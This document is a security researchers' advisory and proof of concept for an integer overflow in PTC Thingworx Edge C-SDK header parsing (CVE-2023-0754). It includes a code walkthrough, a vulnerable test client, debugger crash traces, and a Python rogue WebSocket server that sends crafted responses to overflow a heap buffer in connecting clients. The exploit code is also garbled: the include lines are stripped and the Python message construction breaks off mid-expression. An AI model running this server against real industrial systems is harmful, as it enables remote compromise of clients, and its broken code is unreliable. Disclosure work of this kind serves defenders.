SRC-2023-0001 : PTC Thingworx Edge C-SDK twHeader_fromStream Integer Overflow Remote Code Execution Vulnerability

#!/usr/bin/env python3
"""
PTC Thingworx C-SDK twHeader_fromStream Integer Overflow Remote Code Execution Vulnerability
IDS: SRC-2023-0001, CVE-2023-0754
Download: https://developer.thingworx.com/-/media/developerportal/SDK_Files/C-SDK-2_2_12.zip
Found by: Chris Anastasio and Steven Seeley of Incite Team

# Summary:

An integer overflow vulnerability exists in the parsing of multipart message responses when allocating a heap buffer. An attacker can leverage this to write outside of a heap buffer and gain remote code execution against a vulnerable client in some contexts.

# Vulnerability Analysis:

Inside of the twHeader_fromStream function:

```c
twHeader * twHeader_fromStream(twStream * s) {
    twHeader * hdr;
    int cnt = 0;
    int stringSize = 0;
    if (!s) return 0;
    hdr = (twHeader *)TW_CALLOC(sizeof(twHeader), 1);
    if (!hdr) return 0;

    while (cnt < 2) {
        unsigned char size[4];
        /* Get the first byte to check the size */
        twStream_GetBytes(s, &size[0], 1);
        if (size[0] > 127) {
            /* Need the full 4 bytes */
            twStream_GetBytes(s, &size[1], 3);
            stringSize = size[0] * 0x1000000 + size[1] * 0x10000 + size[2] * 0x100 + size[3]; // 1
        } else {
            stringSize = size[0];
        }
        if (cnt) {
            hdr->value = (char *)TW_CALLOC(stringSize + 1, 1); // 2
            if (hdr->value) twStream_GetBytes(s, hdr->value, stringSize); // 3
        } else {
            hdr->name = (char *)TW_CALLOC(stringSize + 1, 1); // 4
            if (hdr->name) twStream_GetBytes(s, hdr->name, stringSize); // 5
        }
        cnt++;
    }
    if (!hdr->name || !hdr->value) {
        TW_LOG(TW_ERROR,"twHeader_fromStream: Error allocating header name or value");
        twHeader_Delete(hdr);
    }
    return NULL;
}
```

At [1] is the attacker controlled string size. At [2] an int wrap occurs during allocation and finally at [3] a wild copy occurs in `twStream_GetBytes`. A second bug exists  at [4] and [5] within the else clause.

```c
int twStream_GetBytes(struct twStream * s, void * buf, uint32_t count) {
    if (!s) {
        TW_LOG(TW_ERROR,"twStream_GetBytes: NULL Pointer passed in");
        return TW_INVALID_PARAM;
    }
    if (s->file) {
        if (TW_FREAD(buf, count, 1, s->file) < 0) return TW_ERROR_READING_FILE;
        s->ptr += count;
        return TW_OK;
    }
    if (s->ptr + count > s->data + s->length) {
        TW_LOG(TW_WARN,"twStream_GetBytes: byte count of %d would exceed the length of %d",
            count, s->length);
        count = s->data + s->length - s->ptr;
    }
    memcpy(buf, s->ptr, count); // wild copy
    s->ptr += count;
    return TW_OK;
}
```

# Proof of Concept

The vulnerability was discovered in `KEPServerEX-6.11.718.0.exe` and later confirmed by crafting a vulnerable client using the provided C-SDK:

```c++
#define WIN32_LEAN_AND_MEAN
#include "twOSPort.h"
#include "twLogger.h"
#include "twApi.h"
#include "twFileManager.h"
#include "twTunnelManager.h"

#include#include#include#include#includeusing namespace std;

void appKeyCallback(char* appKeyBuffer, unsigned int maxLength) {
    strcpy_s(appKeyBuffer, maxLength, "717c9dc1-7b0f-4624-b3b9-aab3db6bcce0");
}

inline void wait_on_enter()
{
    std::string dummy;
    std::cout << "Enter to continue..." << std::endl;
    std::getline(std::cin, dummy);
}

int main(int argc, char* argv[])
{
    HMODULE dll_1 = LoadLibraryA("libcrypto-1_1.dll");
    HMODULE dll_2 = LoadLibraryA("libssl-1_1.dll");
    char* host;
    if (argc != 2) {
        std::cout << "(+) usage: " << argv[0] << "";
        exit(-1);
    }
    host = argv[1];
    std::cout << "(+) targeting " << host << "!\n";
    int err = 0;
    wait_on_enter();
    err = twApi_Initialize((char*)host, 8080, (char*)"/Thingworx/WS", appKeyCallback, (char*)"test", MESSAGE_CHUNK_SIZE, MESSAGE_CHUNK_SIZE, true);
    if (err) {
        std::cout << "(-) error initializing the API: " << GetLastError();
        exit(err);
    }

    // disable compression and encryption so we can sniff traffic
    twApi_DisableWebSocketCompression();
    twApi_SetGatewayType("IndustrialGateway");
    twApi_DisableEncryption();

    // setup our connection with 1 try
    err = twApi_Connect(1000, 1);
    if (err) {
        std::cout << "(-) connection failed! " << GetLastError() << "\n";
        exit(-1);
    }
    std::cout << "(+) connection succeeded!\n";
}
```

## Debugging:

Don't forget to enable page heap

```
0:003> .reload /f /i twCSdk.dll
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\twCSdk.dll

0:003> g
ModLoad: 73910000 73962000   C:\Windows\SysWOW64\mswsock.dll
ModLoad: 75d60000 75dbf000   C:\Windows\SysWOW64\bcryptprimitives.dll
(30a8.2c10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00a02000 ecx=0000007f edx=01fffe43 esi=00fac5a0 edi=00fd2fc0
eip=71373e4a esp=00cff514 ebp=00cff530 iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010203
VCRUNTIME140D!memcpy+0x4aa:
71373e4a 660f7f6740      movdqa  xmmword ptr [edi+40h],xmm4 ds:002b:00fd3000=????????????????????????????????

0:000> kv
 # ChildEBP RetAddr      Args to Child              
00 00cff518 70b9b89a     00fc51c0 00f9e7a0 ffffffff VCRUNTIME140D!memcpy+0x4aa (FPO: [3,0,2]) (CONV: cdecl) [d:\a01\_work\48\s\src\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 608] 
01 00cff530 70ba77ac     00f98380 00fc51c0 ffffffff twCSdk!twStream_GetBytes+0xca (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twBaseTypes.c @ 432] 
02 00cff560 70ba5593     00f98380 00cff59c cccccccc twCSdk!twHeader_fromStream+0x18c (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 549] 
03 00cff590 70ba45c2     00f98380 00cff5bc cccccccc twCSdk!twRequestBody_CreateFromStream+0x163 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 607] 
04 00cff5b0 70baa39b     00f98380 00cff5e8 00000000 twCSdk!twMessage_CreateFromStream+0x172 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 228] 
05 00cff5d0 70bd0030     00f9e2e8 00fcae00 00000028 twCSdk!msgHandlerOnBinaryMessage+0xdb (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessaging.c @ 424] 
06 00cff618 70b8a5dd     00f9e2e8 00000000 00cff7a4 twCSdk!twWs_Receive+0xf10 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\websocket\twWebsocket.c @ 936] 
07 00cff65c 70b8c65e     00cff67c 00002710 00000000 twCSdk!sendMessageBlocking+0x12d (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 487] 
08 00cff688 70b84b46     00cff6a8 00000000 00cff7a4 twCSdk!twApi_Authenticate+0xbe (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1526] 
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\Poc.exe
09 00cff698 001460ef     000003e8 00000001 00141032 twCSdk!twApi_Connect+0x156 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1567] 
0a 00cff7a4 00146ac3     00000002 00f8aff8 00f93950 Poc!main+0x18f (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\source\repos\Poc\Poc\Poc.cpp @ 59] 
0b 00cff7c4 00146917     be80cd40 00141032 00141032 Poc!invoke_main+0x33 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
0c 00cff820 001467ad     00cff830 00146b48 00cff840 Poc!__scrt_common_main_seh+0x157 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
0d 00cff828 00146b48     00cff840 752bfa29 00a02000 Poc!__scrt_common_main+0xd (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 331] 
0e 00cff830 752bfa29     00a02000 752bfa10 00cff89c Poc!mainCRTStartup+0x8 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17] 
0f 00cff840 76ec7a9e     00a02000 6c2f3161 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
10 00cff89c 76ec7a6e     ffffffff 76ee8a68 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
11 00cff8ac 00000000     00141032 00a02000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
```

"""
import socket
from base64 import b64encode
from hashlib import sha1
import struct
import re
HOST = '0.0.0.0'
PORT = 8080

FIN = 0x80
PAYLOAD_LEN = 0x7f
PAYLOAD_LEN_EXT16 = 0x7e
OPCODE_BINARY = 0x2

# msgCodeEnum
TWX_PUT = 0x2

# entityTypeEnum
TW_USERS = 0x32

# characteristicEnum
TW_PROPERTIES = 0x1

entityName         = b"test"
characteristicName = b"test"

def calculate_response_key(key):
    GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
    hash = sha1(key.encode() + GUID.encode())
    response_key = b64encode(hash.digest()).strip()
    return response_key.decode('ASCII')

def make_handshake_response(key):
    return \
      'HTTP/1.1 101\r\n'\
      'X-Content-Type-Options: nosniff\r\n' \
      'X-XSS-Protection: 1; mode=block\r\n' \
      'Content-Security-Policy: frame-ancestors \'self\'\r\n' \
      'X-Frame-Options: SAMEORIGIN\r\n' \
      'Upgrade: websocket\r\n'              \
      'Connection: Upgrade\r\n'             \
      'Sec-WebSocket-Accept: %s\r\n'        \
      '\r\n' % calculate_response_key(key)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()

    # keep attacking the server
    while True:
        conn, addr = s.accept()
        with conn:
            print('(+) connected by: %s' % addr)
            while True:
                data = conn.recv(1024)
                if not data:
                    break

                # handle upgrade request
                if data.startswith(b"GET /Thingworx/WS"):
                    print("(+) sending upgrade response...")
                    match = re.search(b"Sec-WebSocket-Key: (.*)", data)
                    assert match, "(-) no Sec-WebSocket-Key found!"
                    key = match.group(1).rstrip()
                    conn.sendall(str.encode(make_handshake_response(key.decode())))

                # handle binary request
                if data.startswith(b"\x82"):
                    print("(+) sending exp response...")

                    """
                    typedef struct twMessage {
                        enum msgType type;
                        unsigned char version;
                        enum msgCodeEnum code;
                        uint32_t requestId;
                        uint32_t endpointId;
                        uint32_t sessionId;
                        char multipartMarker;
                        uint32_t length;
                        void * body;
                    } twMessage;
                    """

                    twMessage  = b""
                    twMessage += struct.pack("= 126 and payload_length <= 65535:
                        header.append(FIN | OPCODE_BINARY)
                        header.append(PAYLOAD_LEN_EXT16)
                        header.extend(struct.pack(">H", payload_length))
                    conn.sendall(header + twMessage)